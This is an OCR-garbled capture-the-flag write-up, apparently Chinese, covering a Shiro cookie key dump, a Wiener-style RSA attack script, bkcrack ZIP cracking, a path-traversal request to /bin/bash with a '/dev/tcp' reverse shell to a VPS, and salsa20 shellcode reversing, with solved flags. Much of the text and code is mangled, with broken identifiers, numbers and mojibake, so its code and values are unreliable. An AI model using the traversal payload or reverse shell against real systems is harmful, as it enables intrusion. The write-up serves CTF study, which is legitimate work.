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G FMATH FFE47 247
H#oql&Ei:

select s from org.apache.shiro.web.mgt.CookieRememberMeManager s

HEEF EMAtributes

Statics | Attributes| Class Hierarchy|\-"a|ue| | ™

Type Name Value
ref  cookie  org.apache.shiro.web.servlet.s...
ref  decryp... .3GiE9. hlt 2



ret encryp... .3GIE9..hit..~.:
ref  cipher.. org.apache.shiro.crypto.AesCi...
ref  serializer org.apache.shiro.io.DefaultSeri...

Statics Attributesl Class Hierarchy|‘u"a|ue| #
Type Name Value -
byte [6] -45

byte [7] -46

byte [8] 104

byte [9] 73

byte [10] 116

byte [11] 3

byte [12] 28

byte [13] 126

byte [14] -34

byte [15] 58 ¥
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base64.b64encode(struct.pack(<bbbbbbbbbbbbbbbb’, -8,51,71,105,69,57 -45,-46,104,73,116,3,28,126,-34,58))
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opt
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run
sbin
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from Crypto.Util.number import *
from gmpy2 import *
def transform(x, y): # (E/HFEEZMRIGSHX/yFHERLHITE
res = []
while y:
res.append(x // y)
X, Yy =Y, X%y
return res

def continued_fraction(sub_res):
numerator, denominator = 1, ©
for i in sub_res[::-1]: # AMsublist/)/zE1ERITEH
denominator, numerator = numerator, i * numerator + denominator

return denominator, numerator # 7ZZHHSEHISEFIS T, HEE

# RAERF Nt 2
def sub_fraction(x, y):
res = transform(x, y)
res = list(map(continued_fraction, (res[@:i] for i in range(1, len(res))))) # KEHHHILEEF B LULRSTH S

return res

def wienerAttack(nl, n2):
for (92, ql) in sub_fraction(nl, n2): # M—1\forfE HRIER RN/ N2 FIIELERH AT A EL, E2IHE2]— 1N 2 A1FHTHT
HH
if q1 == @: # HERESUHHESHRIE I FONIEL, ik
continue
if n1 % q1 == @ and ql != 1: # WUHKHF
return (ql, g2)
print ("EZHERNEH")
c1=3616240301972883231782119417460749619858767720797138969648225664687950934758877738536294546530964854506712335
8461608876870541798752787716616621357457298773285215532022533202063638669816921207231275805252465276130479552919
9864805108000796457423822443871436659548626629448170698048984709740274043050729249408577243328282313593461300703
0788540445879932488076137138965904026577881942647186035498943614885076293565327187752783992642793592569756882807
23740017979438505001819438
€2=3332298914890271876364438424661063082531420664487915558536954162415838099066782841925582808363929489810092260
8833810585530801931417726134558845725168047585271855248605561256531342703212030641555260907310067120102069499927
7112428044076917065424282362086951536189557813727417652333199881933847085252516205069663045540548845907180682106
5970940662603389174821440799204136446252536737364891081003662268492904999616665141656565180395283885796005468987
5755131784246099270581394

N1=1150398070565459492080597718626032792435556703413923483458704675295997646493249759818468321328556510074044954
6766157604467082535318394170369978115062223491943027919434891957187137973228785863795466572754192616476358599892
8070019144131269127428517661939153938787525213547842458068026455429417912325456679689099824390928650818982645885
4346825493157697201495100628216832191035903848391447704849808577310612723700318670466035077202673373956324725108
350230357879374234418393233
N2=1242678737076048096780023147702514112272319497423818488193557934695583793070332178723043194823444815153743889
7403388706760937997288757256510360603132230962886069477081555790606288075160539819758203380284567701096401111537
1990320736361709937135391024349787109033489852294293405203510290289214979257096580420546190084159529066764785434
6905445201396273291648968142608158533514391348407631818144116768794595226974831093526512117505486679153727123796
834305088741279455621586989

gql,g2=wienerAttack (N1, N2)

pl=iroot(N1//q1,4)[0]
NnY—irnnt+ /NI / /A2 ANTOT
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phil=(p1**4-p1**3)*(ql-1)
phi2=(p2**4-p2**3)*(g2-1)

dl=invert(65537,phil)
d2=invert(65537,phi2)
print(long_to_bytes(pow(cl,d1,N1)))
print(long_to_bytes(pow(c2,d2,N2)))

flag{8ef333ac-21a7-11ec-80f1-00155d83f114}
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JPEG image

JPEG image

2R FERAAREMNE, B—FMIEXHE, 2% LE: hitps://blog.csdn.net/q851579181qg/article/details/109767425

NIX B Rjpg S, A bhisk 2 SO Sk AR A B SCIR TR Akey, X EIEE R CHEK, FIVBEBEESIRIEEZ, FdXx—BEtjpg
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echo -n "FFDS8FFEQ00104A4649460001010000010001" | xxd -r -ps >key

SR e LA

time ./bkcrack -C 1.zip -c t.jpg -p key -0 ©

B 5 Re i = Bk $3b0a90b36 14dd97b9 f5d648cf



[~/% M /bkerack-1.3.3-Linux
1.7ip t.jpg key a
1-11-
duction using 18 bytes of known plaintext

BRAMEEMAE BN, X8 ajpghbl, MR ERARDefatel EAHR, FREZEEE, TREMinate.pyilkiT#E

bkcrack -C 1.zip -c a.jpg -k bBa90b36 14dd97b9 f5d648cf -d al.jpg

~[~/% @ /bkcrack-1.3.3-Linux]
7 a.jpsg b@a9eb36 14dd97b9 f5d6

python3 tools/inflate.py < al.jpg > 2.jpg

fif k2 J5 B AT AT B AT —flag
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POST //... /... 0 ..t S S S ./ .../bin/bashContent-Length: 100 HTTP/1.0 200 OKHTT
P/1.0 200 OKbash -i >& /dev/tcp/vpsiillt/¥MWrsgH  ©>&1 nc

vps b &3shell, E#icatflagihiT
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I I Yiewa B strines ettt vaiite B Blex viee 1 0 EStroctures 0 [ Enws Finparts @ (WExposts |
ddress Fules file Hame Siring Walue

rlatadODO7FFES... global salsa2( TFFRG24B2250 ol Bexpand 32-byte &'

KA salsa20
ST — TR, HETFERR

int64 sub 7FFG62481008()

puts("Let's start the game!™);
CurrentProcess = GetCurrentProcess();
lpAddress = VirtualAllocEx(CurrentProcess, Bi6d, @xBDB5uibd, Bx3008u, 4u);

return ({ int64 (¥)(void))lpAddress)();
b

WA RIR — IS, i

F—ANHERxxteal INEH%, B Zfinderyptik B fsalsa20 5%
F—AMAERZES: dotitsit, , FMEIEKflagi™x &

KEEAE Fsalas208 i, EANTEFIRETON3@aYl_M3I0dy_KurOm1_W_Suk1dqy0
ETHENRE, RufRRES, REENGEFRIEHRRIT T,

Hkey 1% 3L 7 845 Hiflag



key = [0x8D, OxE2, 0x3D, OxC2, 0x19, OxF2, 0x2D, OxCA, ©x18, 0x14, OxCF, Ox52, Ox77, Ox5A, 0x9C, 0x13, OxAA, OxC
C, ox04, ox5B, 0x92, oOxCl, Ox0C, OXx68, OXx45, OX58, OXF9, OXx47, OX68, OXD9, OXx35, OXC5]
encstr = [OXEB, Ox8E, Ox5C, OxA5, Ox62, OxB4, 0x1C, 0x84, 0Ox5C, Ox59, OxFC, 0x0D, 0x43, 0x3C, OxAB, 0x20, 0xDS8,
0x93, 0x33, 0x13, OxAl, Ox9E, 0x39, 0x00, 0x76, 0x14, OxB5, 0x04, Ox58, Ox9D, Ox06, OxB8]
flag = ""
for i in range(32):
flag += chr(key[i] ~ encstr[i])
print flag
#flag{FINDM3_4f73r_7H3 5h3LLCOD3}
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